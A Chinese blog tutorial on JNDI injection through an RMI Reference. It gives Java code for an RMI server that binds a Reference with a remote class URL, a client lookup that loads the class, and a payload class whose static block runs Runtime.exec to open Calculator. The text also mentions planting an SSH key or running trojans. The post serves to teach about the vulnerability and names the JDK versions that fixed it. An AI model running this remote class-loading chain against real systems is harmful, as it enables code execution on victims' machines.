211216-JDNI注入:RMI Reference注入问题

文章目录
  1. 1. Reference服务端使用姿势
  2. 2. 客户端实测
  • 一灰灰的联系方式
    1. 关联博文
  • 前面一篇介绍了基础的RMI的使用case JDNI注入:RMI基本知识点介绍 - 一灰灰Blog,其中有说到客户端通过rmi访问server时,表现和我们常见的rpc也一致,客户端拿到代理执行的方法,也是在远程服务端执行的,怎么就存在注入问题呢?

    接下来我们再来看一个知识点,RMI + Reference,利用反序列化来实现注入

    1. Reference服务端使用姿势

    区别于前面一篇rmi提供的远程接口访问方式,这里借助Refernce来实现,当客户单连接请求时,返回一个Class,当客户端拿到这个class并实例化时,实现我们预期的注入

    服务器的实现与前面的大体相同,通过Registry起一个rmi服务,区别在于将之前的注册一个服务类改成注册一个Reference,如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8181);

    Reference reference = new Reference("Inject", "Inject", "http://127.0.0.1:9999/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.rebind("inject", wrapper);

    System.out.println("服务已启动");
    Thread.currentThread().join();
    }

    注意上面的Reference的定义,三个参数

    • className:远程加载时所使用的类名;
    • classFactory:加载的class中需要实例化类的名称;
    • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

    上面表示的是当客户端连接到这个rmi发起请求之后,会尝试从 http://127.0.0.1:9999/Inject.class 获取并加载class文件

    接下来写一个简单的Inject类,在静态块中可以执行任何你想执行的代码

    1
    2
    3
    4
    5
    public class Inject {
    static {
    System.out.println("hello world");
    }
    }

    启动一个简单的python服务器,这样可以直接通过网络加载这个class文件

    1
    python3 http.server -m 9999

    这样一个支持代码注入的rmi服务器就搭建完成了;

    2. 客户端实测

    接下来看下客户单的访问姿势

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public static void injectTest() throws Exception {
    // 使用JDNI在命名服务中发布引用
    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181");
    InitialContext context = new InitialContext(env);
    Object obj = context.lookup("rmi://127.0.0.1:8181/inject");
    System.out.println(obj);
    }

    当jdk版本较高时,会发现有下面这种提示,表示默认不允许读取远程的class文件

    1
    2
    3
    4
    Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: Inject cannot be cast to javax.naming.spi.ObjectFactory]
    at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:507)
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)

    我们先模拟一下注入的case,所以先将这个开关开上,直接在启动中添加下面这一行配置

    1
    -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

    接下来看一下执行结果

    重点关注上面输出的hello world,这个输出实际上是在Inject类的静态方法中输出的,在客户端被执行了;

    接下来我们模拟一下,直接唤起客户单本地应用的case,在Inject类中,实现一个打开计算器的功能(可以借助 Runtime)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public class Inject {
    static {
    try {
    // mac 电脑用下面这个命令
    Runtime.getRuntime().exec("open -n /Applications/Calculator.app");
    // win 电脑用下面这个
    // Runtime.getRuntime().exec("calc")
    } catch(Exception e) {}
    }
    }

    接下来我们再来执行一下看看会发生什么,计算器是否会如期被唤起

    a.gif

    看到上面这个的小伙伴可能会有疑问,不过是打开我的计算器,也没啥了不起的影响,但是请注意,上面这个Inject的静态类可以任由我们自己发挥

    • 如果你的客户端是linux,那么直接在~/.ssh/authorized_keys中写入黑客的公钥,这样就可以直接登录服务器
    • 直接下载木马、病毒在本机执行
    • ….

    所以上面这个问题还是相当可怕的,幸好的是在Oracle JDK11.0.1, 8u191, 7u201, 6u211及之后的版本,trustURLCodebase这个配置默认是false,一般也不会有人特意去开启这个配置,所以问题不大

    那么真的是问题不大么?且待后续博文

    一灰灰的联系方式

    关联博文

    尽信书则不如无书,以上内容,纯属一家之言,因个人能力有限,难免有疏漏和错误之处,如发现bug或者有更好的建议,欢迎批评指正,不吝感激

    QrCode

    # JNDI, Java, RMI

    评论

    Your browser is out-of-date!

    Update your browser to view this website correctly. Update my browser now

    ×